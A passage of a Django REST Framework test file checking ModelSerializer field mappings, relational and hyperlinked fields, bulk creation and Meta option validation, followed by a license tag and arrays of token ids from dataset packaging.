read_only=True) name = CharField(max_length=100) many_to_many = NestedSerializer(many=True, read_only=True): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) through = NestedSerializer(many=True, read_only=True): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_hyperlinked_relations(self): class TestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = RelationalModel fields = '__all__' expected = dedent(""" TestSerializer(): url = HyperlinkedIdentityField(view_name='relationalmodel-detail') foreign_key = HyperlinkedRelatedField(queryset=ForeignKeyTargetModel.objects.all(), view_name='foreignkeytargetmodel-detail') one_to_one = HyperlinkedRelatedField(queryset=OneToOneTargetModel.objects.all(), validators=[<UniqueValidator(queryset=RelationalModel.objects.all())>], view_name='onetoonetargetmodel-detail') many_to_many = HyperlinkedRelatedField(allow_empty=False, many=True, queryset=ManyToManyTargetModel.objects.all(), view_name='manytomanytargetmodel-detail') through = HyperlinkedRelatedField(many=True, read_only=True, view_name='throughtargetmodel-detail') """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_nested_hyperlinked_relations(self): class TestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = RelationalModel depth = 1 fields = '__all__' expected = dedent(""" TestSerializer(): url = HyperlinkedIdentityField(view_name='relationalmodel-detail') foreign_key = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='foreignkeytargetmodel-detail') name = CharField(max_length=100) one_to_one = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='onetoonetargetmodel-detail') name = CharField(max_length=100) many_to_many = NestedSerializer(many=True, read_only=True): url = HyperlinkedIdentityField(view_name='manytomanytargetmodel-detail') name = CharField(max_length=100) through = NestedSerializer(many=True, read_only=True): url = HyperlinkedIdentityField(view_name='throughtargetmodel-detail') name = CharField(max_length=100) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_nested_hyperlinked_relations_starred_source(self): class TestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = RelationalModel depth = 1 fields = '__all__' extra_kwargs = { 'url': { 'source': '*', }} expected = dedent(""" TestSerializer(): url = HyperlinkedIdentityField(source='*', view_name='relationalmodel-detail') foreign_key = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='foreignkeytargetmodel-detail') name = CharField(max_length=100) one_to_one = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='onetoonetargetmodel-detail') name = CharField(max_length=100) many_to_many = NestedSerializer(many=True, read_only=True): url = HyperlinkedIdentityField(view_name='manytomanytargetmodel-detail') name = CharField(max_length=100) through = NestedSerializer(many=True, read_only=True): url = HyperlinkedIdentityField(view_name='throughtargetmodel-detail') name = CharField(max_length=100) """) self.maxDiff = None self.assertEqual(unicode_repr(TestSerializer()), expected) def test_nested_unique_together_relations(self): class TestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = UniqueTogetherModel depth = 1 fields = '__all__' expected = dedent(""" TestSerializer(): url = HyperlinkedIdentityField(view_name='uniquetogethermodel-detail') foreign_key = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='foreignkeytargetmodel-detail') name = CharField(max_length=100) one_to_one = NestedSerializer(read_only=True): url = HyperlinkedIdentityField(view_name='onetoonetargetmodel-detail') name = CharField(max_length=100) """) if six.PY2: # This case is also too awkward to resolve fully across both py2 # and py3. (See above) expected = expected.replace( "('foreign_key', 'one_to_one')", "(u'foreign_key', u'one_to_one')" ) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_pk_reverse_foreign_key(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = ForeignKeyTargetModel fields = ('id', 'name', 'reverse_foreign_key') expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) reverse_foreign_key = PrimaryKeyRelatedField(many=True, queryset=RelationalModel.objects.all()) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_pk_reverse_one_to_one(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = OneToOneTargetModel fields = ('id', 'name', 'reverse_one_to_one') expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) reverse_one_to_one = PrimaryKeyRelatedField(queryset=RelationalModel.objects.all()) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_pk_reverse_many_to_many(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = ManyToManyTargetModel fields = ('id', 'name', 'reverse_many_to_many') expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) reverse_many_to_many = PrimaryKeyRelatedField(many=True, queryset=RelationalModel.objects.all()) """) self.assertEqual(unicode_repr(TestSerializer()), expected) def test_pk_reverse_through(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = ThroughTargetModel fields = ('id', 'name', 'reverse_through') expected = dedent(""" TestSerializer(): id = IntegerField(label='ID', read_only=True) name = CharField(max_length=100) reverse_through = PrimaryKeyRelatedField(many=True, read_only=True) """) self.assertEqual(unicode_repr(TestSerializer()), expected) class DisplayValueTargetModel(models.Model): name = models.CharField(max_length=100) def __str__(self): return '%s Color' % (self.name) class DisplayValueModel(models.Model): color = models.ForeignKey(DisplayValueTargetModel, on_delete=models.CASCADE) class TestRelationalFieldDisplayValue(TestCase): def setUp(self): DisplayValueTargetModel.objects.bulk_create([ DisplayValueTargetModel(name='Red'), DisplayValueTargetModel(name='Yellow'), DisplayValueTargetModel(name='Green'), ]) def test_default_display_value(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = DisplayValueModel fields = '__all__' serializer = TestSerializer() expected = OrderedDict([(1, 'Red Color'), (2, 'Yellow Color'), (3, 'Green Color')]) self.assertEqual(serializer.fields['color'].choices, expected) def test_custom_display_value(self): class TestField(serializers.PrimaryKeyRelatedField): def display_value(self, instance): return 'My %s Color' % (instance.name) class TestSerializer(serializers.ModelSerializer): color = TestField(queryset=DisplayValueTargetModel.objects.all()) class Meta: model = DisplayValueModel fields = '__all__' serializer = TestSerializer() expected = OrderedDict([(1, 'My Red Color'), (2, 'My Yellow Color'), (3, 'My Green Color')]) self.assertEqual(serializer.fields['color'].choices, expected) class TestIntegration(TestCase): def setUp(self): self.foreign_key_target = ForeignKeyTargetModel.objects.create( name='foreign_key' ) self.one_to_one_target = OneToOneTargetModel.objects.create( name='one_to_one' ) self.many_to_many_targets = [ ManyToManyTargetModel.objects.create( name='many_to_many (%d)' % idx ) for idx in range(3) ] self.instance = RelationalModel.objects.create( foreign_key=self.foreign_key_target, one_to_one=self.one_to_one_target, ) set_many(self.instance, 'many_to_many', self.many_to_many_targets) self.instance.save() def test_pk_retrival(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = RelationalModel fields = '__all__' serializer = TestSerializer(self.instance) expected = { 'id': self.instance.pk, 'foreign_key': self.foreign_key_target.pk, 'one_to_one': self.one_to_one_target.pk, 'many_to_many': [item.pk for item in self.many_to_many_targets], 'through': [] } self.assertEqual(serializer.data, expected) def test_pk_create(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = RelationalModel fields = '__all__' new_foreign_key = ForeignKeyTargetModel.objects.create( name='foreign_key' ) new_one_to_one = OneToOneTargetModel.objects.create( name='one_to_one' ) new_many_to_many = [ ManyToManyTargetModel.objects.create( name='new many_to_many (%d)' % idx ) for idx in range(3) ] data = { 'foreign_key': new_foreign_key.pk, 'one_to_one': new_one_to_one.pk, 'many_to_many': [item.pk for item in new_many_to_many], } # Serializer should validate okay. serializer = TestSerializer(data=data) assert serializer.is_valid() # Creating the instance, relationship attributes should be set. instance = serializer.save() assert instance.foreign_key.pk == new_foreign_key.pk assert instance.one_to_one.pk == new_one_to_one.pk assert [ item.pk for item in instance.many_to_many.all() ] == [ item.pk for item in new_many_to_many ] assert list(instance.through.all()) == [] # Representation should be correct. expected = { 'id': instance.pk, 'foreign_key': new_foreign_key.pk, 'one_to_one': new_one_to_one.pk, 'many_to_many': [item.pk for item in new_many_to_many], 'through': [] } self.assertEqual(serializer.data, expected) def test_pk_update(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = RelationalModel fields = '__all__' new_foreign_key = ForeignKeyTargetModel.objects.create( name='foreign_key' ) new_one_to_one = OneToOneTargetModel.objects.create( name='one_to_one' ) new_many_to_many = [ ManyToManyTargetModel.objects.create( name='new many_to_many (%d)' % idx ) for idx in range(3) ] data = { 'foreign_key': new_foreign_key.pk, 'one_to_one': new_one_to_one.pk, 'many_to_many': [item.pk for item in new_many_to_many], } # Serializer should validate okay. serializer = TestSerializer(self.instance, data=data) assert serializer.is_valid() # Creating the instance, relationship attributes should be set. instance = serializer.save() assert instance.foreign_key.pk == new_foreign_key.pk assert instance.one_to_one.pk == new_one_to_one.pk assert [ item.pk for item in instance.many_to_many.all() ] == [ item.pk for item in new_many_to_many ] assert list(instance.through.all()) == [] # Representation should be correct. expected = { 'id': self.instance.pk, 'foreign_key': new_foreign_key.pk, 'one_to_one': new_one_to_one.pk, 'many_to_many': [item.pk for item in new_many_to_many], 'through': [] } self.assertEqual(serializer.data, expected) # Tests for bulk create using `ListSerializer`. class BulkCreateModel(models.Model): name = models.CharField(max_length=10) class TestBulkCreate(TestCase): def test_bulk_create(self): class BasicModelSerializer(serializers.ModelSerializer): class Meta: model = BulkCreateModel fields = ('name',) class BulkCreateSerializer(serializers.ListSerializer): child = BasicModelSerializer() data = [{'name': 'a'}, {'name': 'b'}, {'name': 'c'}] serializer = BulkCreateSerializer(data=data) assert serializer.is_valid() # Objects are returned by save(). instances = serializer.save() assert len(instances) == 3 assert [item.name for item in instances] == ['a', 'b', 'c'] # Objects have been created in the database. assert BulkCreateModel.objects.count() == 3 assert list(BulkCreateModel.objects.values_list('name', flat=True)) == ['a', 'b', 'c'] # Serializer returns correct data. assert serializer.data == data class MetaClassTestModel(models.Model): text = models.CharField(max_length=100) class TestSerializerMetaClass(TestCase): def test_meta_class_fields_option(self): class ExampleSerializer(serializers.ModelSerializer): class Meta: model = MetaClassTestModel fields = 'text' with self.assertRaises(TypeError) as result: ExampleSerializer().fields exception = result.exception assert str(exception).startswith( "The `fields` option must be a list or tuple" ) def test_meta_class_exclude_option(self): class ExampleSerializer(serializers.ModelSerializer): class Meta: model = MetaClassTestModel exclude = 'text' with self.assertRaises(TypeError) as result: ExampleSerializer().fields exception = result.exception assert str(exception).startswith( "The `exclude` option must be a list or tuple" ) def test_meta_class_fields_and_exclude_options(self): class ExampleSerializer(serializers.ModelSerializer): class Meta: model = MetaClassTestModel fields = ('text',) exclude = ('text',) with self.assertRaises(AssertionError) as result: ExampleSerializer().fields exception = result.exception self.assertEqual( str(exception), "Cannot set both 'fields' and 'exclude' options on serializer ExampleSerializer." ) class Issue2704TestCase(TestCase): def test_queryset_all(self): class TestSerializer(serializers.ModelSerializer): additional_attr = serializers.CharField() class Meta: model = OneFieldModel fields = ('char_field', 'additional_attr') OneFieldModel.objects.create(char_field='abc') qs = OneFieldModel.objects.all() for o in qs: o.additional_attr = '123' serializer = TestSerializer(instance=qs, many=True) expected = [{ 'char_field': 'abc', 'additional_attr': '123', }] assert serializer.data == expected class DecimalFieldModel(models.Model): decimal_field = models.DecimalField( max_digits=3, decimal_places=1, validators=[MinValueValidator(1), MaxValueValidator(3)] ) class TestDecimalFieldMappings(TestCase): def test_decimal_field_has_decimal_validator(self): """ Test that a `DecimalField` has no `DecimalValidator`. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = DecimalFieldModel fields = '__all__' serializer = TestSerializer() assert len(serializer.fields['decimal_field'].validators) == 2 def test_min_value_is_passed(self): """ Test that the `MinValueValidator` is converted to the `min_value` argument for the field. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = DecimalFieldModel fields = '__all__' serializer = TestSerializer() assert serializer.fields['decimal_field'].min_value == 1 def test_max_value_is_passed(self): """ Test that the `MaxValueValidator` is converted to the `max_value` argument for the field. """ class TestSerializer(serializers.ModelSerializer): class Meta: model = DecimalFieldModel fields = '__all__' serializer = TestSerializer() assert serializer.fields['decimal_field'].max_value == 3 class TestMetaInheritance(TestCase): def test_extra_kwargs_not_altered(self): class TestSerializer(serializers.ModelSerializer): non_model_field = serializers.CharField() class Meta: model = OneFieldModel read_only_fields = ('char_field', 'non_model_field') fields = read_only_fields extra_kwargs = {} class ChildSerializer(TestSerializer): class Meta(TestSerializer.Meta): read_only_fields = () test_expected = dedent(""" TestSerializer(): char_field = CharField(read_only=True) non_model_field = CharField() """) child_expected = dedent(""" ChildSerializer(): char_field = CharField(max_length=100) non_model_field = CharField() """) self.assertEqual(unicode_repr(ChildSerializer()), child_expected) self.assertEqual(unicode_repr(TestSerializer()), test_expected) self.assertEqual(unicode_repr(ChildSerializer()), child_expected) class OneToOneTargetTestModel(models.Model): text = models.CharField(max_length=100) class OneToOneSourceTestModel(models.Model): target = models.OneToOneField(OneToOneTargetTestModel, primary_key=True, on_delete=models.CASCADE) class TestModelFieldValues(TestCase): def test_model_field(self): class ExampleSerializer(serializers.ModelSerializer): class Meta: model = OneToOneSourceTestModel fields = ('target',) target = OneToOneTargetTestModel(id=1, text='abc') source = OneToOneSourceTestModel(target=target) serializer = ExampleSerializer(source) self.assertEqual(serializer.data, {'target': 1}) class TestUniquenessOverride(TestCase): def test_required_not_overwritten(self): class TestModel(models.Model): field_1 = models.IntegerField(null=True) field_2 = models.IntegerField() class Meta: unique_together = (('field_1', 'field_2'),) class TestSerializer(serializers.ModelSerializer): class Meta: model = TestModel fields = '__all__' extra_kwargs = {'field_1': {'required': False}} fields = TestSerializer().fields self.assertFalse(fields['field_1'].required) self.assertTrue(fields['field_2'].required) class Issue3674Test(TestCase): def test_nonPK_foreignkey_model_serializer(self): class TestParentModel(models.Model): title = models.CharField(max_length=64) class TestChildModel(models.Model): parent = models.ForeignKey(TestParentModel, related_name='children', on_delete=models.CASCADE) value = models.CharField(primary_key=True, max_length=64) class TestChildModelSerializer(serializers.ModelSerializer): class Meta: model = TestChildModel fields = ('value', 'parent') class TestParentModelSerializer(serializers.ModelSerializer): class Meta: model = TestParentModel fields = ('id', 'title', 'children') parent_expected = dedent(""" TestParentModelSerializer(): id = IntegerField(label='ID', read_only=True) title = CharField(max_length=64) children = PrimaryKeyRelatedField(many=True, queryset=TestChildModel.objects.all()) """) self.assertEqual(unicode_repr(TestParentModelSerializer()), parent_expected) child_expected = dedent(""" TestChildModelSerializer(): value = CharField(max_length=64, validators=[<UniqueValidator(queryset=TestChildModel.objects.all())>]) parent = PrimaryKeyRelatedField(queryset=TestParentModel.objects.all()) """) self.assertEqual(unicode_repr(TestChildModelSerializer()), child_expected) def test_nonID_PK_foreignkey_model_serializer(self): class TestChildModelSerializer(serializers.ModelSerializer): class Meta: model = Issue3674ChildModel fields = ('value', 'parent') class TestParentModelSerializer(serializers.ModelSerializer): class Meta: model = Issue3674ParentModel fields = ('id', 'title', 'children') parent = Issue3674ParentModel.objects.create(title='abc') child = Issue3674ChildModel.objects.create(value='def', parent=parent) parent_serializer = TestParentModelSerializer(parent) child_serializer = TestChildModelSerializer(child) parent_expected = {'children': ['def'], 'id': 1, 'title': 'abc'} self.assertEqual(parent_serializer.data, parent_expected) child_expected = {'parent': 1, 'value': 'def'} self.assertEqual(child_serializer.data, child_expected) class Issue4897TestCase(TestCase): def test_should_assert_if_writing_readonly_fields(self): class TestSerializer(serializers.ModelSerializer): class Meta: model = OneFieldModel fields = ('char_field',) readonly_fields = fields obj = OneFieldModel.objects.create(char_field='abc') with pytest.raises(AssertionError) as cm: TestSerializer(obj).fields cm.match(r'readonly_fields') class Test5004UniqueChoiceField(TestCase): def test_unique_choice_field(self): class TestUniqueChoiceSerializer(serializers.ModelSerializer): class Meta: model = UniqueChoiceModel fields = '__all__' UniqueChoiceModel.objects.create(name='choice1') serializer = TestUniqueChoiceSerializer(data={'name': 'choice1'}) assert not serializer.is_valid() assert serializer.errors == {'name': ['unique choice model with this name already exists.']}
bsd-2-clause
[ 624, 199, 1918, 658, 1685, 7299, 64, 436, 658, 18727, 12751, 1685, 7299, 64, 3992, 787, 28891, 199, 17469, 367, 5847, 6425, 12506, 4079, 641, 282, 1627, 1402, 1021, 14, 199, 199, 20676, 2295, 7962, 543, 12889, 4039, 626, 781, 6657, 2341, 314, 1402, 1504, 14602, 199, 290, 5827, 663, 402, 9146, 1504, 367, 1924, 1930, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 6107, 199, 504, 5055, 492, 8773, 199, 199, 646, 4613, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1018, 14, 11346, 492, 334, 272, 8228, 1110, 8640, 12, 10195, 4625, 8640, 12, 10195, 1110, 8640, 199, 9, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 697, 14, 992, 492, 31836, 792, 465, 5822, 13283, 792, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 1208, 492, 3816, 199, 199, 504, 4618, 63, 4857, 492, 12506, 199, 504, 4618, 63, 4857, 14, 5819, 492, 663, 63, 3479, 12, 2649, 63, 2722, 421, 199, 318, 22622, 8, 1457, 505, 304, 272, 372, 1557, 78, 1370, 904, 779, 604, 59, 713, 2938, 367, 1004, 315, 1853, 505, 14, 7644, 3430, 17, 6809, 17, 3934, 421, 199, 3, 6496, 367, 5578, 901, 13546, 14, 199, 3, 11016, 13, 199, 199, 533, 8388, 792, 8, 992, 14, 792, 304, 272, 408, 272, 437, 3537, 1402, 901, 9329, 367, 5343, 12901, 14, 272, 408, 272, 986, 421, 199, 533, 7309, 792, 1685, 8, 992, 14, 1685, 304, 272, 1495, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 533, 18528, 7304, 1685, 8, 992, 14, 1685, 304, 272, 408, 272, 437, 1402, 1021, 367, 5343, 5578, 6829, 1504, 14, 272, 408, 272, 2599, 63, 698, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 7282, 63, 4115, 63, 698, 275, 1709, 14, 25175, 342, 272, 5046, 63, 698, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 272, 1495, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 10029, 63, 12794, 63, 4115, 63, 698, 275, 1709, 14, 25732, 20727, 3901, 8, 988, 63, 1267, 29, 1960, 9, 272, 1434, 63, 698, 275, 1709, 14, 14071, 342, 272, 2197, 63, 698, 275, 1709, 14, 4626, 342, 272, 6107, 63, 698, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 19, 12, 6107, 63, 10696, 29, 17, 9, 272, 3031, 63, 698, 275, 1709, 14, 16577, 8, 988, 63, 1267, 29, 1960, 9, 272, 2069, 63, 698, 275, 1709, 14, 13019, 342, 272, 3000, 63, 698, 275, 1709, 14, 3901, 342, 272, 2973, 63, 4871, 63, 698, 275, 1709, 14, 29068, 342, 272, 7317, 63, 4115, 63, 698, 275, 1709, 14, 8591, 342, 272, 7317, 63, 7241, 63, 4115, 63, 698, 275, 1709, 14, 25197, 342, 272, 8889, 63, 698, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 1960, 9, 272, 7425, 63, 4115, 63, 698, 275, 1709, 14, 14640, 342, 272, 1318, 63, 698, 275, 1709, 14, 6254, 8, 988, 63, 1267, 29, 1960, 9, 272, 900, 63, 698, 275, 1709, 14, 27115, 342, 272, 1166, 63, 698, 275, 1709, 14, 17363, 8, 988, 63, 1267, 29, 1960, 9, 272, 3537, 63, 698, 275, 8388, 792, 342, 272, 570, 63, 515, 63, 698, 275, 1709, 14, 14225, 792, 8, 515, 8805, 2791, 6217, 339, 347, 1083, 8, 277, 304, 267, 372, 283, 765, 7, 421, 199, 7134, 63, 16236, 275, 13636, 581, 297, 283, 10858, 659, 661, 6304, 297, 283, 15617, 659, 661, 7731, 297, 283, 19456, 1333, 199, 23925, 63, 16236, 275, 13636, 674, 297, 6107, 14, 6745, 360, 16, 14, 17, 3855, 661, 14345, 297, 6107, 14, 6745, 360, 16, 14, 21, 3855, 661, 6260, 297, 6107, 14, 6745, 360, 16, 14, 25, 7058, 421, 199, 533, 5024, 4558, 1685, 8, 992, 14, 1685, 304, 272, 574, 63, 3097, 63, 698, 275, 1709, 14, 3901, 8, 11346, 1524, 4649, 1110, 8640, 8, 17, 395, 8228, 1110, 8640, 8, 709, 3948, 272, 2582, 63, 3097, 63, 698, 275, 1709, 14, 2183, 8, 11346, 1524, 4649, 4625, 8640, 8, 19, 4360, 1390, 63, 1267, 29, 713, 9, 272, 4596, 63, 698, 275, 1709, 14, 2183, 8, 2500, 29, 549, 12, 1390, 63, 1267, 29, 709, 9, 272, 2973, 63, 698, 275, 1709, 14, 3901, 8, 2307, 29, 549, 9, 272, 849, 63, 698, 275, 1709, 14, 3901, 8, 885, 29, 16, 9, 272, 30262, 63, 698, 275, 1709, 14, 3901, 8, 3437, 63, 505, 534, 7700, 1720, 1318, 297, 3376, 63, 354, 534, 33, 1768, 358, 272, 3415, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 12, 3415, 29, 7134, 63, 16236, 9, 421, 199, 533, 8802, 2370, 1685, 8, 992, 14, 1685, 304, 272, 3415, 63, 698, 63, 1045, 63, 2865, 6807, 63, 589, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 19, 12, 6107, 63, 10696, 29, 17, 12, 3415, 29, 23925, 63, 16236, 12, 3376, 63, 354, 534, 33, 1768, 358, 421, 199, 533, 13383, 1344, 1342, 6652, 1685, 8, 992, 14, 1685, 304, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 772, 9, 421, 199, 533, 13383, 1344, 1342, 3493, 1685, 8, 992, 14, 1685, 304, 272, 1676, 275, 1709, 14, 3190, 8, 17106, 1344, 1342, 6652, 1685, 12, 4048, 63, 354, 534, 3223, 297, 641, 63, 1807, 29, 992, 14, 10855, 9, 272, 574, 275, 1709, 14, 2183, 8, 3327, 63, 498, 29, 549, 12, 1390, 63, 1267, 29, 772, 9, 421, 199, 533, 18276, 9054, 1685, 8, 992, 14, 1685, 304, 272, 445, 2979, 7040, 275, 334, 267, 661, 5095, 17, 297, 283, 5095, 413, 659, 267, 661, 5095, 18, 297, 283, 5095, 413, 659, 272, 776, 339, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 8306, 12, 3747, 29, 549, 12, 3415, 29, 16236, 9, 421, 199, 533, 1379, 1685, 7299, 8, 1746, 304, 272, 347, 511, 63, 981, 63, 765, 8, 277, 304, 267, 1021, 1379, 7299, 8, 12844, 14, 1685, 7299, 304, 288, 2222, 63, 1238, 63, 698, 275, 12506, 14, 2183, 342, 953, 1021 ]
[ 199, 1918, 658, 1685, 7299, 64, 436, 658, 18727, 12751, 1685, 7299, 64, 3992, 787, 28891, 199, 17469, 367, 5847, 6425, 12506, 4079, 641, 282, 1627, 1402, 1021, 14, 199, 199, 20676, 2295, 7962, 543, 12889, 4039, 626, 781, 6657, 2341, 314, 1402, 1504, 14602, 199, 290, 5827, 663, 402, 9146, 1504, 367, 1924, 1930, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 6107, 199, 504, 5055, 492, 8773, 199, 199, 646, 4613, 199, 504, 1639, 14, 1018, 14, 3924, 492, 11897, 199, 504, 1639, 14, 1018, 14, 11346, 492, 334, 272, 8228, 1110, 8640, 12, 10195, 4625, 8640, 12, 10195, 1110, 8640, 199, 9, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 697, 14, 992, 492, 31836, 792, 465, 5822, 13283, 792, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 1639, 14, 1208, 492, 3816, 199, 199, 504, 4618, 63, 4857, 492, 12506, 199, 504, 4618, 63, 4857, 14, 5819, 492, 663, 63, 3479, 12, 2649, 63, 2722, 421, 199, 318, 22622, 8, 1457, 505, 304, 272, 372, 1557, 78, 1370, 904, 779, 604, 59, 713, 2938, 367, 1004, 315, 1853, 505, 14, 7644, 3430, 17, 6809, 17, 3934, 421, 199, 3, 6496, 367, 5578, 901, 13546, 14, 199, 3, 11016, 13, 199, 199, 533, 8388, 792, 8, 992, 14, 792, 304, 272, 408, 272, 437, 3537, 1402, 901, 9329, 367, 5343, 12901, 14, 272, 408, 272, 986, 421, 199, 533, 7309, 792, 1685, 8, 992, 14, 1685, 304, 272, 1495, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 421, 199, 533, 18528, 7304, 1685, 8, 992, 14, 1685, 304, 272, 408, 272, 437, 1402, 1021, 367, 5343, 5578, 6829, 1504, 14, 272, 408, 272, 2599, 63, 698, 275, 1709, 14, 4378, 8, 3327, 63, 498, 29, 549, 9, 272, 7282, 63, 4115, 63, 698, 275, 1709, 14, 25175, 342, 272, 5046, 63, 698, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 272, 1495, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 9, 272, 10029, 63, 12794, 63, 4115, 63, 698, 275, 1709, 14, 25732, 20727, 3901, 8, 988, 63, 1267, 29, 1960, 9, 272, 1434, 63, 698, 275, 1709, 14, 14071, 342, 272, 2197, 63, 698, 275, 1709, 14, 4626, 342, 272, 6107, 63, 698, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 19, 12, 6107, 63, 10696, 29, 17, 9, 272, 3031, 63, 698, 275, 1709, 14, 16577, 8, 988, 63, 1267, 29, 1960, 9, 272, 2069, 63, 698, 275, 1709, 14, 13019, 342, 272, 3000, 63, 698, 275, 1709, 14, 3901, 342, 272, 2973, 63, 4871, 63, 698, 275, 1709, 14, 29068, 342, 272, 7317, 63, 4115, 63, 698, 275, 1709, 14, 8591, 342, 272, 7317, 63, 7241, 63, 4115, 63, 698, 275, 1709, 14, 25197, 342, 272, 8889, 63, 698, 275, 1709, 14, 17315, 8, 988, 63, 1267, 29, 1960, 9, 272, 7425, 63, 4115, 63, 698, 275, 1709, 14, 14640, 342, 272, 1318, 63, 698, 275, 1709, 14, 6254, 8, 988, 63, 1267, 29, 1960, 9, 272, 900, 63, 698, 275, 1709, 14, 27115, 342, 272, 1166, 63, 698, 275, 1709, 14, 17363, 8, 988, 63, 1267, 29, 1960, 9, 272, 3537, 63, 698, 275, 8388, 792, 342, 272, 570, 63, 515, 63, 698, 275, 1709, 14, 14225, 792, 8, 515, 8805, 2791, 6217, 339, 347, 1083, 8, 277, 304, 267, 372, 283, 765, 7, 421, 199, 7134, 63, 16236, 275, 13636, 581, 297, 283, 10858, 659, 661, 6304, 297, 283, 15617, 659, 661, 7731, 297, 283, 19456, 1333, 199, 23925, 63, 16236, 275, 13636, 674, 297, 6107, 14, 6745, 360, 16, 14, 17, 3855, 661, 14345, 297, 6107, 14, 6745, 360, 16, 14, 21, 3855, 661, 6260, 297, 6107, 14, 6745, 360, 16, 14, 25, 7058, 421, 199, 533, 5024, 4558, 1685, 8, 992, 14, 1685, 304, 272, 574, 63, 3097, 63, 698, 275, 1709, 14, 3901, 8, 11346, 1524, 4649, 1110, 8640, 8, 17, 395, 8228, 1110, 8640, 8, 709, 3948, 272, 2582, 63, 3097, 63, 698, 275, 1709, 14, 2183, 8, 11346, 1524, 4649, 4625, 8640, 8, 19, 4360, 1390, 63, 1267, 29, 713, 9, 272, 4596, 63, 698, 275, 1709, 14, 2183, 8, 2500, 29, 549, 12, 1390, 63, 1267, 29, 709, 9, 272, 2973, 63, 698, 275, 1709, 14, 3901, 8, 2307, 29, 549, 9, 272, 849, 63, 698, 275, 1709, 14, 3901, 8, 885, 29, 16, 9, 272, 30262, 63, 698, 275, 1709, 14, 3901, 8, 3437, 63, 505, 534, 7700, 1720, 1318, 297, 3376, 63, 354, 534, 33, 1768, 358, 272, 3415, 63, 698, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1960, 12, 3415, 29, 7134, 63, 16236, 9, 421, 199, 533, 8802, 2370, 1685, 8, 992, 14, 1685, 304, 272, 3415, 63, 698, 63, 1045, 63, 2865, 6807, 63, 589, 275, 1709, 14, 15975, 8, 988, 63, 7022, 29, 19, 12, 6107, 63, 10696, 29, 17, 12, 3415, 29, 23925, 63, 16236, 12, 3376, 63, 354, 534, 33, 1768, 358, 421, 199, 533, 13383, 1344, 1342, 6652, 1685, 8, 992, 14, 1685, 304, 272, 2538, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 772, 9, 421, 199, 533, 13383, 1344, 1342, 3493, 1685, 8, 992, 14, 1685, 304, 272, 1676, 275, 1709, 14, 3190, 8, 17106, 1344, 1342, 6652, 1685, 12, 4048, 63, 354, 534, 3223, 297, 641, 63, 1807, 29, 992, 14, 10855, 9, 272, 574, 275, 1709, 14, 2183, 8, 3327, 63, 498, 29, 549, 12, 1390, 63, 1267, 29, 772, 9, 421, 199, 533, 18276, 9054, 1685, 8, 992, 14, 1685, 304, 272, 445, 2979, 7040, 275, 334, 267, 661, 5095, 17, 297, 283, 5095, 413, 659, 267, 661, 5095, 18, 297, 283, 5095, 413, 659, 272, 776, 339, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 8306, 12, 3747, 29, 549, 12, 3415, 29, 16236, 9, 421, 199, 533, 1379, 1685, 7299, 8, 1746, 304, 272, 347, 511, 63, 981, 63, 765, 8, 277, 304, 267, 1021, 1379, 7299, 8, 12844, 14, 1685, 7299, 304, 288, 2222, 63, 1238, 63, 698, 275, 12506, 14, 2183, 342, 953, 1021, 0 ]
